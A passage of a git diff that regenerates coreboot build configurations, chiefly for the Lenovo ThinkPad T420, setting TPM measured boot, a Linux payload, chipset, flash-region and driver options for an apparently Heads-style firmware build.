+CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" +CONFIG_PCR_BOOT_MODE=1 +CONFIG_PCR_HWID=1 +CONFIG_PCR_SRTM=2 +CONFIG_PCR_FW_VER=10 +CONFIG_PCR_RUNTIME_DATA=3 +# end of Trusted Platform Module + +# +# Memory initialization +# +CONFIG_PLATFORM_HAS_DRAM_CLEAR=y +# CONFIG_SECURITY_CLEAR_DRAM_ON_REGULAR_BOOT is not set +# end of Memory initialization + +# CONFIG_INTEL_TXT is not set +CONFIG_BOOTMEDIA_LOCK_NONE=y +# CONFIG_BOOTMEDIA_LOCK_CONTROLLER is not set +# CONFIG_BOOTMEDIA_LOCK_CHIP is not set +# end of Security + +CONFIG_ACPI_HAVE_PCAT_8259=y +CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y +CONFIG_ACPI_SOC_NVS=y +CONFIG_ACPI_NO_CUSTOM_MADT=y +CONFIG_ACPI_COMMON_MADT_LAPIC=y +CONFIG_ACPI_COMMON_MADT_IOAPIC=y +CONFIG_HAVE_ACPI_TABLES=y +CONFIG_BOOT_DEVICE_NOT_SPI_FLASH=y +CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y + +# +# Console +# +CONFIG_BOOTBLOCK_CONSOLE=y +CONFIG_POSTCAR_CONSOLE=y +CONFIG_SQUELCH_EARLY_SMP=y +# CONFIG_SPKMODEM is not set +CONFIG_CONSOLE_USB=y +# CONFIG_CONSOLE_NE2K is not set +CONFIG_CONSOLE_CBMEM=y +# CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set +# CONFIG_CONSOLE_I2C_SMBUS is not set +CONFIG_CONSOLE_QEMU_DEBUGCON=y +CONFIG_CONSOLE_QEMU_DEBUGCON_PORT=0x402 +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7 is not set CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6=y +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL=6 +CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y +CONFIG_CONSOLE_USE_ANSI_ESCAPES=y +# CONFIG_CMOS_POST is not set +CONFIG_HWBASE_DEBUG_NULL=y +# end of Console + +CONFIG_HAVE_MONOTONIC_TIMER=y +CONFIG_HAVE_OPTION_TABLE=y +CONFIG_IOAPIC=y +CONFIG_USE_WATCHDOG_ON_BOOT=y + +# +# System tables +# +CONFIG_GENERATE_SMBIOS_TABLES=y +CONFIG_BIOS_VENDOR="coreboot" +CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" +# end of System tables + +# +# Payload +# +# CONFIG_PAYLOAD_NONE is not set +# CONFIG_PAYLOAD_ELF is not set +# CONFIG_PAYLOAD_BOOTBOOT is not set +# CONFIG_PAYLOAD_FILO is not set +# CONFIG_PAYLOAD_GRUB2 is not set +# CONFIG_PAYLOAD_SEAGRUB is not set +# CONFIG_PAYLOAD_LINUXBOOT is not set +# CONFIG_PAYLOAD_SEABIOS is not set +# CONFIG_PAYLOAD_UBOOT is not set +# CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" +CONFIG_PAYLOAD_OPTIONS="" +# CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set +CONFIG_COMPRESS_SECONDARY_PAYLOAD=y + +# +# Secondary Payloads +# +# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set +# CONFIG_GRUB2_SECONDARY_PAYLOAD is not set +# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set +# CONFIG_NVRAMCUI_SECONDARY_PAYLOAD is not set +# CONFIG_SEABIOS_SECONDARY_PAYLOAD is not set +# CONFIG_TINT_SECONDARY_PAYLOAD is not set +# CONFIG_COREDOOM_SECONDARY_PAYLOAD is not set +# end of Secondary Payloads +# end of Payload + +# +# Debugging +# + +# +# CPU Debug Settings +# +# CONFIG_DISPLAY_MTRRS is not set + +# +# Vendorcode Debug Settings +# + +# +# BLOB Debug Settings +# + +# +# General Debug Settings +# +# CONFIG_GDB_STUB is not set +# CONFIG_FATAL_ASSERTS is not set +# CONFIG_DEBUG_CBFS is not set +CONFIG_HAVE_DEBUG_SMBUS=y +# CONFIG_DEBUG_SMBUS is not set +# CONFIG_DEBUG_CONSOLE_INIT is not set +# CONFIG_DEBUG_BOOT_STATE is not set +# CONFIG_DEBUG_ADA_CODE is not set +# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set +# end of Debugging + +CONFIG_DECOMPRESS_OFAST=y +CONFIG_PROBE_RAM=y +CONFIG_WARNINGS_ARE_ERRORS=y +CONFIG_MAX_REBOOT_CNT=3 +CONFIG_RELOCATABLE_MODULES=y +CONFIG_HAVE_BOOTBLOCK=y +CONFIG_HAVE_ROMSTAGE=y +CONFIG_HAVE_RAMSTAGE=y diff --git a/config/coreboot-t420-maximized.config b/config/coreboot-t420-maximized.config index 6ad336125..c70b82ded 100644 --- a/config/coreboot-t420-maximized.config +++ b/config/coreboot-t420-maximized.config @@ -1,30 +1,713 @@ +# +# Automatically generated file; DO NOT EDIT. +# coreboot configuration +# + +# +# General setup +# +CONFIG_COREBOOT_BUILD=y +CONFIG_LOCALVERSION="" +CONFIG_CBFS_PREFIX="fallback" +CONFIG_COMPILER_GCC=y +# CONFIG_COMPILER_LLVM_CLANG is not set +CONFIG_ARCH_SUPPORTS_CLANG=y +# CONFIG_ANY_TOOLCHAIN is not set +# CONFIG_CCACHE is not set +# CONFIG_IWYU is not set +# CONFIG_FMD_GENPARSER is not set +# CONFIG_UTIL_GENPARSER is not set +# CONFIG_OPTION_BACKEND_NONE is not set CONFIG_USE_OPTION_TABLE=y CONFIG_STATIC_OPTION_TABLE=y +CONFIG_COMPRESS_RAMSTAGE_LZMA=y +# CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set +CONFIG_SEPARATE_ROMSTAGE=y +CONFIG_INCLUDE_CONFIG_FILE=y +CONFIG_COLLECT_TIMESTAMPS=y +# CONFIG_TIMESTAMPS_ON_CONSOLE is not set # CONFIG_USE_BLOBS is not set +# CONFIG_COVERAGE is not set +# CONFIG_UBSAN is not set +CONFIG_HAVE_ASAN_IN_RAMSTAGE=y +# CONFIG_ASAN is not set +# CONFIG_NO_STAGE_CACHE is not set +CONFIG_TSEG_STAGE_CACHE=y +# CONFIG_UPDATE_IMAGE is not set CONFIG_BOOTSPLASH_IMAGE=y CONFIG_BOOTSPLASH_FILE="@BRAND_DIR@/bootsplash.jpg" CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 +# CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set +# CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set +# CONFIG_FW_CONFIG is not set + +# +# Software Bill Of Materials (SBOM) +# +# CONFIG_SBOM is not set +# end of Software Bill Of Materials (SBOM) +# end of General setup + +# +# Mainboard +# + +# +# Important: Run 'make distclean' before switching boards +# +# CONFIG_VENDOR_51NB is not set +# CONFIG_VENDOR_ACER is not set +# CONFIG_VENDOR_ADLINK is not set +# CONFIG_VENDOR_AMD is not set +# CONFIG_VENDOR_AOPEN is not set +# CONFIG_VENDOR_APPLE is not set +# CONFIG_VENDOR_ASROCK is not set +# CONFIG_VENDOR_ASUS is not set +# CONFIG_VENDOR_BIOSTAR is not set +# CONFIG_VENDOR_BOSTENTECH is not set +# CONFIG_VENDOR_BYTEDANCE is not set +# CONFIG_VENDOR_CAVIUM is not set +# CONFIG_VENDOR_CLEVO is not set +# CONFIG_VENDOR_COMPULAB is not set +# CONFIG_VENDOR_DELL is not set +# CONFIG_VENDOR_EMULATION is not set +# CONFIG_VENDOR_EXAMPLE is not set +# CONFIG_VENDOR_FACEBOOK is not set +# CONFIG_VENDOR_FOXCONN is not set +# CONFIG_VENDOR_GETAC is not set +# CONFIG_VENDOR_GIGABYTE is not set +# CONFIG_VENDOR_GOOGLE is not set +# CONFIG_VENDOR_HP is not set +# CONFIG_VENDOR_IBASE is not set +# CONFIG_VENDOR_IBM is not set +# CONFIG_VENDOR_INTEL is not set +# CONFIG_VENDOR_INVENTEC is not set +# CONFIG_VENDOR_KONTRON is not set CONFIG_VENDOR_LENOVO=y +# CONFIG_VENDOR_LIBRETREND is not set +# CONFIG_VENDOR_MSI is not set +# CONFIG_VENDOR_OCP is not set +# CONFIG_VENDOR_OPENCELLULAR is not set +# CONFIG_VENDOR_PACKARDBELL is not set +# CONFIG_VENDOR_PCENGINES is not set +# CONFIG_VENDOR_PINE64 is not set +# CONFIG_VENDOR_PORTWELL is not set +# CONFIG_VENDOR_PRODRIVE is not set +# CONFIG_VENDOR_PROTECTLI is not set +# CONFIG_VENDOR_PURISM is not set +# CONFIG_VENDOR_RAZER is not set +# CONFIG_VENDOR_RODA is not set +# CONFIG_VENDOR_SAMSUNG is not set +# CONFIG_VENDOR_SAPPHIRE is not set +# CONFIG_VENDOR_SIEMENS is not set +# CONFIG_VENDOR_SIFIVE is not set +# CONFIG_VENDOR_STARLABS is not set +# CONFIG_VENDOR_SUPERMICRO is not set +# CONFIG_VENDOR_SYSTEM76 is not set +# CONFIG_VENDOR_TI is not set +# CONFIG_VENDOR_UP is not set +CONFIG_BOARD_SPECIFIC_OPTIONS=y +CONFIG_MAINBOARD_FAMILY="ThinkPad T420" +CONFIG_MAINBOARD_PART_NUMBER="ThinkPad T420" +CONFIG_MAINBOARD_VERSION="1.0" +CONFIG_MAINBOARD_DIR="lenovo/t420" +CONFIG_VGA_BIOS_ID="8086,0126" +CONFIG_DIMM_MAX=4 +CONFIG_DIMM_SPD_SIZE=256 +CONFIG_FMDFILE="" CONFIG_NO_POST=y +CONFIG_MAINBOARD_VENDOR="LENOVO" CONFIG_CBFS_SIZE=0x7E7FFF +CONFIG_LINEAR_FRAMEBUFFER_MAX_HEIGHT=1600 +CONFIG_LINEAR_FRAMEBUFFER_MAX_WIDTH=2560 +CONFIG_MAX_CPUS=8 +CONFIG_ONBOARD_VGA_IS_PRIMARY=y +CONFIG_DEVICETREE="devicetree.cb" +# CONFIG_VBOOT is not set +CONFIG_OVERRIDE_DEVICETREE="" +# CONFIG_VGA_BIOS is not set +CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="LENOVO" +CONFIG_DRAM_RESET_GATE_GPIO=10 +CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/data.vbt" +CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 +CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" +CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" +CONFIG_USBDEBUG_HCD_INDEX=2 +CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 +CONFIG_TPM_PIRQ=0x0 +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=64 +CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" +CONFIG_VBOOT_SLOTS_RW_A=y +CONFIG_DCACHE_RAM_BASE=0xfefe0000 +CONFIG_DCACHE_RAM_SIZE=0x20000 +CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 +CONFIG_DCACHE_BSP_STACK_SIZE=0x10000 +CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 +CONFIG_HAVE_INTEL_FIRMWARE=y +CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 +CONFIG_SPI_FLASH_INCLUDE_ALL_DRIVERS=y +CONFIG_SPI_FLASH_WINBOND=y +CONFIG_DRIVERS_INTEL_WIFI=y CONFIG_IFD_BIN_PATH="@BLOB_DIR@/xx20/ifd.bin" CONFIG_ME_BIN_PATH="@BLOB_DIR@/xx20/me.bin" CONFIG_GBE_BIN_PATH="@BLOB_DIR@/xx20/gbe.bin" CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x80000 +CONFIG_CARDBUS_PLUGIN_SUPPORT=y +CONFIG_SPI_FLASH_GIGADEVICE=y +CONFIG_SPI_FLASH_STMICRO=y +# CONFIG_DEBUG_SMI is not set +CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="ThinkPad T420" CONFIG_HAVE_IFD_BIN=y +CONFIG_PCIEXP_HOTPLUG_BUSES=8 +CONFIG_PCIEXP_HOTPLUG_MEM=0x800000 +CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM=0x10000000 +# CONFIG_BOARD_LENOVO_THINKPAD_T440P is not set +# CONFIG_BOARD_LENOVO_THINKPAD_W541 is not set +# CONFIG_BOARD_LENOVO_L520 is not set +# CONFIG_BOARD_LENOVO_S230U is not set +# CONFIG_BOARD_LENOVO_T400 is not set +# CONFIG_BOARD_LENOVO_T500 is not set +# CONFIG_BOARD_LENOVO_R400 is not set +# CONFIG_BOARD_LENOVO_R500 is not set +# CONFIG_BOARD_LENOVO_W500 is not set +# CONFIG_BOARD_LENOVO_T410 is not set CONFIG_BOARD_LENOVO_T420=y +# CONFIG_BOARD_LENOVO_T420S is not set +# CONFIG_BOARD_LENOVO_THINKPAD_T430 is not set +# CONFIG_BOARD_LENOVO_T430S is not set +# CONFIG_BOARD_LENOVO_T431S is not set +# CONFIG_BOARD_LENOVO_T520 is not set +# CONFIG_BOARD_LENOVO_W520 is not set +# CONFIG_BOARD_LENOVO_T530 is not set +# CONFIG_BOARD_LENOVO_W530 is not set +# CONFIG_BOARD_LENOVO_T60 is not set +# CONFIG_BOARD_LENOVO_Z61T is not set +# CONFIG_BOARD_LENOVO_R60 is not set +# CONFIG_BOARD_LENOVO_THINKCENTRE_A58 is not set +# CONFIG_BOARD_LENOVO_X131E is not set +# CONFIG_BOARD_LENOVO_X1_CARBON_GEN1 is not set +# CONFIG_BOARD_LENOVO_X200 is not set +# CONFIG_BOARD_LENOVO_X301 is not set +# CONFIG_BOARD_LENOVO_X201 is not set +# CONFIG_BOARD_LENOVO_X220 is not set +# CONFIG_BOARD_LENOVO_X220I is not set +# CONFIG_BOARD_LENOVO_X1 is not set +# CONFIG_BOARD_LENOVO_X230 is not set +# CONFIG_BOARD_LENOVO_X230T is not set +# CONFIG_BOARD_LENOVO_X230S is not set +# CONFIG_BOARD_LENOVO_X230_EDP is not set +# CONFIG_BOARD_LENOVO_X60 is not set +CONFIG_DRIVER_LENOVO_SERIALS=y +CONFIG_PS2K_EISAID="PNP0303" +CONFIG_PS2M_EISAID="LEN0015" +CONFIG_THINKPADEC_HKEY_EISAID="LEN0068" +CONFIG_GFX_GMA_PANEL_1_PORT="LVDS" +CONFIG_D3COLD_SUPPORT=y +CONFIG_PCIEXP_ASPM=y +# CONFIG_PCIEXP_L1_SUB_STATE is not set +# CONFIG_PCIEXP_CLK_PM is not set +# CONFIG_DRIVERS_UART_8250IO is not set +CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 +CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" +CONFIG_BOARD_ROMSIZE_KB_8192=y +# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_5120 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set +CONFIG_COREBOOT_ROMSIZE_KB_8192=y +# CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_16384 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set +CONFIG_COREBOOT_ROMSIZE_KB=8192 +CONFIG_ROM_SIZE=0x00800000 +CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y +CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y +CONFIG_POWER_STATE_OFF_AFTER_FAILURE=y +# CONFIG_POWER_STATE_ON_AFTER_FAILURE is not set +# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set +CONFIG_MAINBOARD_POWER_FAILURE_STATE=0 +# end of Mainboard + +CONFIG_SYSTEM_TYPE_LAPTOP=y + +# +# Chipset +# + +# +# SoC +# +CONFIG_CHIPSET_DEVICETREE="northbridge/intel/sandybridge/chipset.cb" +CONFIG_CBFS_MCACHE_SIZE=0x4000 +CONFIG_ROMSTAGE_ADDR=0x2000000 +CONFIG_VERSTAGE_ADDR=0x2000000 +CONFIG_SMM_TSEG_SIZE=0x800000 +CONFIG_SMM_RESERVED_SIZE=0x100000 +CONFIG_SMM_MODULE_STACK_SIZE=0x400 +# CONFIG_USE_EXP_X86_64_SUPPORT is not set +CONFIG_SERIRQ_CONTINUOUS_MODE=y +CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 +CONFIG_EHCI_BAR=0xfef00000 +CONFIG_ACPI_CPU_STRING="CP%02X" +CONFIG_STACK_SIZE=0x2000 +CONFIG_IED_REGION_SIZE=0x400000 +CONFIG_INTEL_GMA_BCLV_OFFSET=0x48254 +CONFIG_INTEL_GMA_BCLV_WIDTH=16 +CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8256 +CONFIG_INTEL_GMA_BCLM_WIDTH=16 +CONFIG_BOOTBLOCK_IN_CBFS=y +CONFIG_DCACHE_RAM_MRC_VAR_SIZE=0x0 +CONFIG_HPET_MIN_TICKS=0x80 +CONFIG_FIXED_MCHBAR_MMIO_BASE=0xfed10000 +CONFIG_FIXED_DMIBAR_MMIO_BASE=0xfed18000 +CONFIG_FIXED_EPBAR_MMIO_BASE=0xfed19000 +CONFIG_PCIEXP_COMMON_CLOCK=y +CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 +CONFIG_FIXED_SMBUS_IO_BASE=0x400 +CONFIG_CBFS_CACHE_ALIGN=8 + +# +# CPU +# +CONFIG_CPU_INTEL_MODEL_206AX=y +CONFIG_CPU_INTEL_COMMON=y +CONFIG_ENABLE_VMX=y +CONFIG_SET_IA32_FC_LOCK_BIT=y +CONFIG_SET_MSR_AESNI_LOCK_BIT=y +CONFIG_CPU_INTEL_COMMON_TIMEBASE=y +CONFIG_CPU_INTEL_COMMON_SMM=y +CONFIG_MICROCODE_UPDATE_PRE_RAM=y +CONFIG_PARALLEL_MP=y +CONFIG_XAPIC_ONLY=y +# CONFIG_X2APIC_ONLY is not set +# CONFIG_X2APIC_RUNTIME is not set +# CONFIG_X2APIC_LATE_WORKAROUND is not set +CONFIG_UDELAY_TSC=y +CONFIG_TSC_MONOTONIC_TIMER=y +CONFIG_TSC_SYNC_MFENCE=y +CONFIG_HAVE_SMI_HANDLER=y +CONFIG_SMM_TSEG=y +CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 +CONFIG_AP_STACK_SIZE=0x800 +CONFIG_SMP=y +CONFIG_SSE=y +CONFIG_SSE2=y +CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y +CONFIG_USE_CPU_MICROCODE_CBFS_BINS=y +CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS=y +# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_BINS is not set +# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_HEADER is not set +# CONFIG_CPU_MICROCODE_CBFS_NONE is not set + +# +# Northbridge +# +CONFIG_USE_NATIVE_RAMINIT=y +CONFIG_NORTHBRIDGE_INTEL_SANDYBRIDGE=y +# CONFIG_NATIVE_RAMINIT_IGNORE_MAX_MEM_FUSES is not set +# CONFIG_NATIVE_RAMINIT_IGNORE_XMP_MAX_DIMMS is not set +# CONFIG_NATIVE_RAMINIT_IGNORE_XMP_REQUESTED_VOLTAGE is not set +# CONFIG_RAMINIT_ALWAYS_ALLOW_DLL_OFF is not set +CONFIG_RAMINIT_ENABLE_ECC=y + +# +# Southbridge +# +CONFIG_SOUTHBRIDGE_INTEL_BD82X6X_COMMON=y +CONFIG_SOUTHBRIDGE_INTEL_BD82X6X=y +# CONFIG_HIDE_MEI_ON_ERROR is not set +CONFIG_PCIEXP_HOTPLUG=y +CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_RESET=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_RTC=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMCLIB=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMBASE=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_GPIO=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_ME=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_EARLY_SMBUS=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SPI=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SPI_ICH9=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_RCBA_PIRQ=y +CONFIG_HAVE_INTEL_CHIPSET_LOCKDOWN=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMM=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_FINALIZE=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_USB_DEBUG=y +CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y +# CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set # CONFIG_INTEL_CHIPSET_LOCKDOWN is not set +CONFIG_TCO_SPACE_NOT_YET_SPLIT=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_WATCHDOG=y +CONFIG_FIXED_RCBA_MMIO_BASE=0xfed1c000 +CONFIG_RCBA_LENGTH=0x4000 + +# +# Super I/O +# + +# +# Embedded Controllers +# +CONFIG_EC_ACPI=y +CONFIG_EC_LENOVO_H8=y +CONFIG_H8_BEEP_ON_DEATH=y +CONFIG_H8_FLASH_LEDS_ON_DEATH=y +# CONFIG_H8_SUPPORT_BT_ON_WIFI is not set +# CONFIG_H8_FN_CTRL_SWAP is not set +CONFIG_H8_HAS_BAT_THRESHOLDS_IMPL=y +CONFIG_EC_LENOVO_PMH7=y + +# +# Intel Firmware +# CONFIG_HAVE_ME_BIN=y +# CONFIG_STITCH_ME_BIN is not set +# CONFIG_CHECK_ME is not set +# CONFIG_ME_REGION_ALLOW_CPU_READ_ACCESS is not set +# CONFIG_USE_ME_CLEANER is not set +CONFIG_MAINBOARD_USES_IFD_GBE_REGION=y CONFIG_HAVE_GBE_BIN=y +# CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set +# CONFIG_LOCK_MANAGEMENT_ENGINE is not set +CONFIG_UNLOCK_FLASH_REGIONS=y +CONFIG_ARCH_X86=y +CONFIG_ARCH_BOOTBLOCK_X86_32=y +CONFIG_ARCH_VERSTAGE_X86_32=y +CONFIG_ARCH_ROMSTAGE_X86_32=y +CONFIG_ARCH_POSTCAR_X86_32=y +CONFIG_ARCH_RAMSTAGE_X86_32=y +CONFIG_ARCH_ALL_STAGES_X86_32=y +CONFIG_HAVE_EXP_X86_64_SUPPORT=y +CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y +CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y +CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y +CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 +CONFIG_PC80_SYSTEM=y +CONFIG_HAVE_CMOS_DEFAULT=y +CONFIG_POSTCAR_STAGE=y +CONFIG_BOOTBLOCK_SIMPLE=y +# CONFIG_BOOTBLOCK_NORMAL is not set +CONFIG_COLLECT_TIMESTAMPS_TSC=y +CONFIG_HAVE_CF9_RESET=y +CONFIG_DEBUG_HW_BREAKPOINTS=y +CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y +# CONFIG_DUMP_SMBIOS_TYPE17 is not set +# end of Chipset + +# +# Devices +# +CONFIG_HAVE_VGA_TEXT_FRAMEBUFFER=y +CONFIG_HAVE_LINEAR_FRAMEBUFFER=y +CONFIG_MAINBOARD_HAS_LIBGFXINIT=y +CONFIG_MAINBOARD_USE_LIBGFXINIT=y +# CONFIG_VGA_ROM_RUN is not set +# CONFIG_NO_GFX_INIT is not set +CONFIG_NO_EARLY_GFX_INIT=y + +# +# Display +# +# CONFIG_VGA_TEXT_FRAMEBUFFER is not set CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y +CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y +CONFIG_HEAP_SIZE=0x400000 +# end of Display + +CONFIG_PCI=y +CONFIG_ECAM_MMCONF_SUPPORT=y +CONFIG_PCIX_PLUGIN_SUPPORT=y +CONFIG_AZALIA_HDA_CODEC_SUPPORT=y +CONFIG_PCIEXP_PLUGIN_SUPPORT=y +CONFIG_ECAM_MMCONF_LENGTH=0x04000000 +CONFIG_PCI_ALLOW_BUS_MASTER=y +CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y +CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y +# CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set +# CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set +CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_ABOVE_4G=y +# CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_BELOW_4G is not set CONFIG_PCIEXP_HOTPLUG_IO=0x2000 +# CONFIG_EARLY_PCI_BRIDGE is not set +CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 +CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 +CONFIG_INTEL_GMA_HAVE_VBT=y +CONFIG_INTEL_GMA_ADD_VBT=y +# CONFIG_SOFTWARE_I2C is not set +CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 +CONFIG_RESOURCE_ALLOCATION_TOP_DOWN=y +CONFIG_USE_DDR3=y +# end of Devices + +# +# Generic Drivers +# +CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 +# CONFIG_ELOG is not set +CONFIG_CACHE_MRC_SETTINGS=y +# CONFIG_MRC_SETTINGS_PROTECT is not set +# CONFIG_SMMSTORE is not set +CONFIG_SPI_FLASH=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y +# CONFIG_SPI_FLASH_NO_FAST_READ is not set +CONFIG_SPI_FLASH_ADESTO=y +CONFIG_SPI_FLASH_AMIC=y +CONFIG_SPI_FLASH_ATMEL=y +CONFIG_SPI_FLASH_EON=y +CONFIG_SPI_FLASH_MACRONIX=y +CONFIG_SPI_FLASH_SPANSION=y +CONFIG_SPI_FLASH_SST=y +CONFIG_SPI_FLASH_ISSI=y +CONFIG_TPM_INIT_RAMSTAGE=y +# CONFIG_TPM_PPI is not set +CONFIG_NO_UART_ON_SUPERIO=y +# CONFIG_DRIVERS_UART_OXPCIE is not set +CONFIG_HAVE_USBDEBUG=y +CONFIG_HAVE_USBDEBUG_OPTIONS=y CONFIG_USBDEBUG=y +CONFIG_USBDEBUG_IN_PRE_RAM=y +CONFIG_USBDEBUG_DEFAULT_PORT=0 +CONFIG_USBDEBUG_DONGLE_STD=y +# CONFIG_USBDEBUG_DONGLE_BEAGLEBONE is not set +# CONFIG_USBDEBUG_DONGLE_FTDI_FT232H is not set +# CONFIG_USBDEBUG_DONGLE_WCH_CH347 is not set +CONFIG_USBDEBUG_OPTIONAL_HUB_PORT=0 +# CONFIG_VPD is not set +# CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set +# CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set +# CONFIG_DRIVERS_I2C_MAX98396 is not set +CONFIG_INTEL_INT15=y +CONFIG_INTEL_GMA_ACPI=y +CONFIG_VBT_CBFS_COMPRESSION_LZMA=y +# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set +# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set +CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" +CONFIG_GFX_GMA=y +CONFIG_GFX_GMA_PANEL_1_ON_LVDS=y +CONFIG_GFX_GMA_DYN_CPU=y +CONFIG_GFX_GMA_GENERATION="Ironlake" +CONFIG_GFX_GMA_PCH="Cougar_Point" 